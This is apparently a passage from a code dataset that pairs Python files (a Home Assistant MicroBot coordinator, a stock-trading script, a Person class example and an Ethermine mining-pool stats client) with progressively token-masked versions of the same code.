):\n self.data = adv.data\n _LOGGER.debug(\"%s: MicroBot data: %s\", self.ble_device.address, self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n",
"<docstring token>\nfrom __future__ import annotations\nimport logging\nfrom typing import TYPE_CHECKING, Any\nfrom microbot import MicroBotApiClient, parse_advertisement_data\nfrom homeassistant.components import bluetooth\nfrom homeassistant.components.bluetooth.passive_update_coordinator import PassiveBluetoothDataUpdateCoordinator\nfrom homeassistant.const import Platform\nfrom homeassistant.core import HomeAssistant, callback\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n",
"<docstring token>\n<import token>\nif TYPE_CHECKING:\n from bleak.backends.device import BLEDevice\n_LOGGER: logging.Logger = logging.getLogger(__package__)\nPLATFORMS: list[str] = [Platform.SWITCH]\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n",
"<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n \"\"\"Class to manage fetching data from the MicroBot.\"\"\"\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n",
"<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n\n @callback\n def _async_handle_bluetooth_event(self, service_info: bluetooth.\n BluetoothServiceInfoBleak, change: bluetooth.BluetoothChange) ->None:\n \"\"\"Handle a Bluetooth event.\"\"\"\n if (adv := parse_advertisement_data(service_info.device,\n service_info.advertisement)):\n self.data = adv.data\n _LOGGER.debug('%s: MicroBot data: %s', self.ble_device.address,\n self.data)\n self.api.update_from_advertisement(adv)\n super()._async_handle_bluetooth_event(service_info, change)\n",
"<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n\n def __init__(self, hass: HomeAssistant, client: MicroBotApiClient,\n ble_device: BLEDevice) ->None:\n \"\"\"Initialize.\"\"\"\n self.api: MicroBotApiClient = client\n self.data: dict[str, Any] = {}\n self.ble_device = ble_device\n super().__init__(hass, _LOGGER, ble_device.address, bluetooth.\n BluetoothScanningMode.ACTIVE)\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n\n\nclass MicroBotDataUpdateCoordinator(PassiveBluetoothDataUpdateCoordinator):\n <docstring token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<class token>\n"
] | false |
9,956 |
da903409d75ba2a07443317e30bce568444fbca5
|
n=int(input())
A=list(map(int,input().split()))
g=1000
for s1,s2 in zip(A[:-1],A[1:]):
if s1<s2:
stockNum=g//s1
g+=stockNum*(s2-s1)
print(g)
|
[
"n=int(input())\nA=list(map(int,input().split()))\n\ng=1000\n\nfor s1,s2 in zip(A[:-1],A[1:]):\n if s1<s2:\n stockNum=g//s1\n g+=stockNum*(s2-s1)\n\nprint(g)\n\n",
"n = int(input())\nA = list(map(int, input().split()))\ng = 1000\nfor s1, s2 in zip(A[:-1], A[1:]):\n if s1 < s2:\n stockNum = g // s1\n g += stockNum * (s2 - s1)\nprint(g)\n",
"<assignment token>\nfor s1, s2 in zip(A[:-1], A[1:]):\n if s1 < s2:\n stockNum = g // s1\n g += stockNum * (s2 - s1)\nprint(g)\n",
"<assignment token>\n<code token>\n"
] | false |
9,957 |
11feb13f38f2484c867a8b3fa525ffecf419dfe5
|
'''
Classes
'''
class Person:
alive = True
'''
Possible Attributes for a Person:
1. Name
2. Age
3. Gender
'''
def __init__(self, name, age, gender):
self.name = name
self.age = age
self.gender = gender
self.salary = 0
def greet(self):
print("Hello ", self.name)
def greetByTime(self, time="Morning"):
print("Hello", self.name, " . ", time)
print("Accessing Static Variable", Person.alive)
p = Person("John", 30, "Male")
print("\n\nAccessing Functions \n\n")
p.greet()
p.greetByTime()
p.greetByTime("Goodnight")
print("\n\nAccessing Variables \n\n")
print(p.name, p.age, p.gender)
|
[
"'''\n\nClasses\n\n'''\n\n\nclass Person:\n alive = True\n\n '''\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n '''\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print(\"Hello \", self.name)\n\n def greetByTime(self, time=\"Morning\"):\n print(\"Hello\", self.name, \" . \", time)\n\n\nprint(\"Accessing Static Variable\", Person.alive)\np = Person(\"John\", 30, \"Male\")\n\nprint(\"\\n\\nAccessing Functions \\n\\n\")\np.greet()\np.greetByTime()\np.greetByTime(\"Goodnight\")\n\nprint(\"\\n\\nAccessing Variables \\n\\n\")\nprint(p.name, p.age, p.gender)\n",
"<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\nprint('Accessing Static Variable', Person.alive)\np = Person('John', 30, 'Male')\nprint(\"\"\"\n\nAccessing Functions \n\n\"\"\")\np.greet()\np.greetByTime()\np.greetByTime('Goodnight')\nprint(\"\"\"\n\nAccessing Variables \n\n\"\"\")\nprint(p.name, p.age, p.gender)\n",
"<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\nprint('Accessing Static Variable', Person.alive)\n<assignment token>\nprint(\"\"\"\n\nAccessing Functions \n\n\"\"\")\np.greet()\np.greetByTime()\np.greetByTime('Goodnight')\nprint(\"\"\"\n\nAccessing Variables \n\n\"\"\")\nprint(p.name, p.age, p.gender)\n",
"<docstring token>\n\n\nclass Person:\n alive = True\n \"\"\"\n\n Possible Attributes for a Person:\n\n 1. Name\n 2. Age\n 3. Gender\n\n \"\"\"\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n\n\nclass Person:\n alive = True\n <docstring token>\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n self.salary = 0\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n\n def greet(self):\n print('Hello ', self.name)\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n <function token>\n\n def greetByTime(self, time='Morning'):\n print('Hello', self.name, ' . ', time)\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n\n\nclass Person:\n <assignment token>\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<class token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,958 |
921c7255fad46c767f2ec1030ef9498da05b9bb1
|
# ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation
from minermedic.pools.base_pool import BasePool
from phenome_core.util.rest_api import RestAPI
from minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost
"""
EtherminePool
This is the main Pool API for Ethermine.
SEE: https://ethermine.org/api/worker#monitoring
"""
class EtherminePool(BasePool):
# PER WORKER
_MINER_URL_PER_WORKER = "https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats"
# PER MINER
_MINER_URL_PER_MINER = "https://api.ethermine.org/miner/:{MINER}/currentStats"
# with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH
_DEFAULT_COIN_ = "ETH"
def __init__(self, pool, pool_attrs):
super(EtherminePool, self).__init__(pool, pool_attrs)
def build_creation_parameters(self, pool, pool_attrs, pool_classname):
# get the default creation parameters
params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname)
server_location = "US"
if pool.startswith("eu1.etc") or pool.startswith("eu1.eth"):
server_location = "Europe"
elif pool.startswith("us1-etc"):
server_location = "US"
elif pool.startswith("us1.eth"):
server_location = "US East"
elif pool.startswith("us2.eth"):
server_location = "US West"
elif pool.startswith("asia1.eth"):
server_location = "Asia"
# Set the unique ID of the pool (give it a NAME, as the URL/IP may change)
# POOL - LOCATION (COIN)
params['unique_id'] = "ETHERMINE - " + server_location + " (" + self._DEFAULT_COIN_ + ")"
return params
def _clean_coin_address(self, miner):
coin_address = miner.coin_address.lower()
if coin_address.startswith('0x'):
coin_address = coin_address[2:]
elif coin_address.startswith('#0x'):
coin_address = coin_address[3:]
return coin_address
def get_worker_stats(self, miner, worker):
# build the miner URL
url = self._MINER_URL_PER_WORKER.replace("{MINER}",self._clean_coin_address(miner)).replace("{WORKER}",worker)
api = RestAPI(url=url, port=80)
return api.get_json()
def get_miner_stats(self, miner):
# build the miner URL
url = self._MINER_URL_PER_MINER.replace("{MINER}", self._clean_coin_address(miner))
api = RestAPI(url=url, port=80)
return api.get_json()
def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):
if algo == 'ethash':
algo_idx = get_algo_index('daggerhashimoto')
else:
algo_idx = get_algo_index(algo)
if algo_idx is -1:
return False
coin_idx = get_coin_index(self._DEFAULT_COIN_)
# get the cost of the coin
# TODO - get the currency from the config, do not assume USD
coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD')
success = False
json = self.get_worker_stats(miner, worker)
if json:
success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost)
return success
def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost):
# get the record
record = json['data']
if record == 'NO DATA':
# check coin switch?
miner_coin_idx = None
if hasattr(miner, 'coin_idx'):
# we have been mining so far
miner_coin_idx = miner.coin
if miner_coin_idx is None or miner_coin_idx != coin_idx:
# reset the coin address, maybe switched coin
miner.coin_address = ''
# no data, just fail
return False
# API call results, speed is in units of Hashes
speed_suffix = 'H'
try:
# get accepted hashrate
speed_accepted = float(record['currentHashrate'])
except:
speed_accepted = 0.0
try:
# get "reported" hashrate
speed_reported = float(record['reportedHashrate'])
except:
speed_reported = None
# now get the miner stats for profitability
json_miner_stats = self.get_miner_stats(miner)
# get the record
record_miner_stats = json_miner_stats['data']
try:
coins_per_minute = float(record_miner_stats['coinsPerMin'])
except:
coins_per_minute = 0.0
try:
active_workers = float(record_miner_stats['activeWorkers'])
except:
active_workers = 1
# profitability is a measure of COIN / speed suffix / per DAY
# ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER
# so we need to average it out by dividing by the # of active workers
profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers
# finally set the API results into the main results object
results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability,
speed_accepted, speed_reported, speed_suffix)
# if we got here, we were successful
return True
|
[
"# ethermine.py, Copyright (c) 2019, Nicholas Saparoff <[email protected]>: Original implementation\n\nfrom minermedic.pools.base_pool import BasePool\nfrom phenome_core.util.rest_api import RestAPI\nfrom minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost\n\n\"\"\"\n\nEtherminePool\n\n This is the main Pool API for Ethermine.\n SEE: https://ethermine.org/api/worker#monitoring\n \n\"\"\"\n\n\nclass EtherminePool(BasePool):\n\n # PER WORKER\n _MINER_URL_PER_WORKER = \"https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats\"\n\n # PER MINER\n _MINER_URL_PER_MINER = \"https://api.ethermine.org/miner/:{MINER}/currentStats\"\n\n # with Ethermine, the coin is Usually ETH, but could be ETC or ZCASH\n _DEFAULT_COIN_ = \"ETH\"\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n\n # get the default creation parameters\n params = super(EtherminePool, self).build_creation_parameters(pool, pool_attrs, pool_classname)\n\n server_location = \"US\"\n\n if pool.startswith(\"eu1.etc\") or pool.startswith(\"eu1.eth\"):\n server_location = \"Europe\"\n elif pool.startswith(\"us1-etc\"):\n server_location = \"US\"\n elif pool.startswith(\"us1.eth\"):\n server_location = \"US East\"\n elif pool.startswith(\"us2.eth\"):\n server_location = \"US West\"\n elif pool.startswith(\"asia1.eth\"):\n server_location = \"Asia\"\n\n # Set the unique ID of the pool (give it a NAME, as the URL/IP may change)\n # POOL - LOCATION (COIN)\n params['unique_id'] = \"ETHERMINE - \" + server_location + \" (\" + self._DEFAULT_COIN_ + \")\"\n\n return params\n\n def _clean_coin_address(self, miner):\n\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n\n # build the miner URL\n url = self._MINER_URL_PER_WORKER.replace(\"{MINER}\",self._clean_coin_address(miner)).replace(\"{WORKER}\",worker)\n\n api = RestAPI(url=url, port=80)\n\n return api.get_json()\n\n def get_miner_stats(self, miner):\n\n # build the miner URL\n url = self._MINER_URL_PER_MINER.replace(\"{MINER}\", self._clean_coin_address(miner))\n\n api = RestAPI(url=url, port=80)\n\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n\n if algo_idx is -1:\n return False\n\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n\n # get the cost of the coin\n # TODO - get the currency from the config, do not assume USD\n coin_cost = get_coin_cost(self._DEFAULT_COIN_,'USD')\n\n success = False\n\n json = self.get_worker_stats(miner, worker)\n\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id, algo, algo_idx, coin_idx, coin_cost)\n\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx, coin_idx, coin_cost):\n\n # get the record\n record = json['data']\n\n if record == 'NO DATA':\n\n # check coin switch?\n miner_coin_idx = None\n\n if hasattr(miner, 'coin_idx'):\n # we have been mining so far\n miner_coin_idx = miner.coin\n\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n # reset the coin address, maybe switched coin\n miner.coin_address = ''\n\n # no data, just fail\n return False\n\n # API call results, speed is in units of Hashes\n speed_suffix = 'H'\n\n try:\n # get accepted hashrate\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n\n try:\n # get \"reported\" hashrate\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n\n # now get the miner stats for profitability\n json_miner_stats = self.get_miner_stats(miner)\n\n # get the record\n record_miner_stats = json_miner_stats['data']\n\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n\n # profitability is a measure of COIN / speed suffix / per DAY\n # ETHERMINE only gives coin estimates per MINER per MINUTE, not per WORKER\n # so we need to average it out by dividing by the # of active workers\n profitability = ((coins_per_minute * (60 * 24))/speed_accepted)/active_workers\n\n # finally set the API results into the main results object\n results.populate_pool_results(miner, worker, pool, algo, algo_idx, coin_idx, coin_cost, profitability,\n speed_accepted, speed_reported, speed_suffix)\n\n # if we got here, we were successful\n return True\n\n",
"from minermedic.pools.base_pool import BasePool\nfrom phenome_core.util.rest_api import RestAPI\nfrom minermedic.pools.helper import get_algo_index, get_coin_index, get_coin_cost\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n _MINER_URL_PER_WORKER = (\n 'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats'\n )\n _MINER_URL_PER_MINER = (\n 'https://api.ethermine.org/miner/:{MINER}/currentStats')\n _DEFAULT_COIN_ = 'ETH'\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n _MINER_URL_PER_WORKER = (\n 'https://api.ethermine.org/miner/:{MINER}/worker/:{WORKER}/currentStats'\n )\n _MINER_URL_PER_MINER = (\n 'https://api.ethermine.org/miner/:{MINER}/currentStats')\n _DEFAULT_COIN_ = 'ETH'\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n\n def _clean_coin_address(self, miner):\n coin_address = miner.coin_address.lower()\n if coin_address.startswith('0x'):\n coin_address = coin_address[2:]\n elif coin_address.startswith('#0x'):\n coin_address = coin_address[3:]\n return coin_address\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n",
"<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def 